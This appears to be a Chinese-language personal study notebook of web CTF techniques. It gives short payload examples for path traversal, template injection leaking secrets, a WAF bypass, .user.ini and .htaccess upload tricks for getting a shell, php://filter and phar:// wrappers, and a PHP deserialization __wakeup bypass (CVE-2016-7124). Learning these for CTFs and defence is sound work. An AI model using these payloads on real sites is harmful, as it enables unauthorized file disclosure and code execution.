从今天开始积累
1.文件名可能很奇怪,比如末尾是 ? 会误以为是传参 以 hint.php? 整体为文件夹名
后面很上相对路径就会起到迷惑人的作用 hint.php?/../../../../ffffllllaaaagggg
2. tornado模板注入
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
效果就像是直接 解析/执行 了传参 比如传入{{2*10}} 解析出来就是20
这里如果注入{{handler.settings}} 就可以出cookie
记忆:cookie在handler.settings内
3.Unicode欺骗
nodeprep.prepare 要求Twisted
版本老 作用是大写转小写
当用其转化ᴬ时,第一步转化为A,然后才是a 即 ᴬ->A->a
当大小写敏感的时候可以用来修改目标内容即附加内容
至于这个玩意怎么打出来的。。。搜搜复制吧
4.条件竞争(只是看到过未实践)
https://blog.csdn.net/weixin_44677409/article/details/100733581 解法三
大致思路是:对于同一个username变量,两个线程同时进行,一个修改密码,一个错误登录
可能有一个时候 登录使用的admin放入username然后进行了另一个线程的修改密码操作
很玄学。。。
5.简单WAF绕过
变量前加空格,WAF检查是在url解析前,比如禁止使用'num',而加空格后是' num',不会被查出来。
之后url解析会把空格去掉,进行正常的赋值
6.scandir()
scandir()用于列出参数目录中的文件和目录 比如scandir(‘user’)
7. .user.ini文件
里面有两项特殊设置
auto_prepend_file 是在文件前插入
auto_append_file在文件最后插入(当文件调用的有exit()
时无效)
只有在执行php之前会先执行该文件,可用于文件包含。
比如在该文件下写:auto_prepend_file=a.jpg 就会在打开某php之前包含a.jpg
8. .htaccess文件
能干很多事情,目前已经学习使用其讲指定后缀文件当做php来解析
比如把 AddType application/x-httpd-php xxx 这句话写成.htaccess,该目录下的所有.xxx后缀文件都会被当做php解析
上传漏洞使用它非常方便
9.伪协议
https://www.cnblogs.com/thenbz3/p/11536779.html
常用的几种:
php://filter/read=convert.base64-encode/resource=flag.php
(将flag.php base64加密,配合include就可以显示出base64加密后的代码)
phar://test.zip/test.txt (直接访问test.txt文件,可以吧php文件放进压缩包,然后include phar://访问php来getshell)
10.反序列化---class中的private变量
<?php class Name { private $username = 'admin'; private $password = 100; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } } } ?>
反序列化之后的输出是
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
其实完整的应该是O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
即类名前后有空字符
11.反序列化----__wakeup的绕过
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
比如将
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
修改为
O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
12. 修改http头
Referer表示该网址跳转来源,即come from。要注意的是它第一个字母是大写
比如从www.baidu.com访问过来,就是
Referer:www.baidu.com
X-Forwarded-For用来表示 HTTP 请求端真实 IP,有时需要你从本地访问就要用
X-Forwarded-For:127.0.0.1
User-Agent头,通式为 Mozilla/5.0 (平台) 引擎版本 浏览器版本号
有时限制只能用某浏览器访问,比如ABBS浏览器,直接修改为
User-Agent:ABBS